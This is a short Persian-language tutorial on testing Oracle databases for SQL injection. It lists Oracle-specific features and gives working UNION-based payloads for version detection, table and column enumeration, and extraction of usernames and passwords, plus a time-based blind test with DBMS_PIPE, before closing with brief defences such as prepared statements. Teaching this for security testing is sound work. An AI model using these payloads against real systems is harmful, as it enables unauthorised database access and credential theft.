تست Oracle SQL Injection

Oracle SQL Injection

Oracle یکی از پرکاربردترین پایگاه‌های داده در سازمان‌های بزرگ است. ویژگی‌های خاص Oracle مثل dual، سیستم جداول و PL/SQL تکنیک‌های متفاوتی نیاز دارند.

ویژگی‌های خاص Oracle

• استفاده از dual برای query‌های بدون جدول
• سیستم جداول مثل ALL_TABLES, USER_TABLES, ALL_TAB_COLUMNS
• تابع ROWNUM برای محدود کردن نتایج
• PL/SQL زبان procedural
• عدم پشتیبانی از LIMIT (استفاده از ROWNUM)

payload‌های مخصوص Oracle

1-- شناسایی نسخه
2' UNION SELECT banner FROM v$version WHERE ROWNUM=1 --
3
4-- لیست جداول
5' UNION SELECT table_name FROM all_tables WHERE ROWNUM=1 --
6
7-- لیست ستون‌ها
8' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS' --
9
10-- استخراج داده
11' UNION SELECT username||':'||password FROM users --
12
13-- تست time-based
14' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5) --

سیستم جداول مهم Oracle

راه‌حل

• استفاده از Prepared Statements
• محدود کردن دسترسی کاربر پایگاه داده
• غیرفعال کردن PL/SQL غیرضروری
• لاگ‌برداری از query‌های مشکوک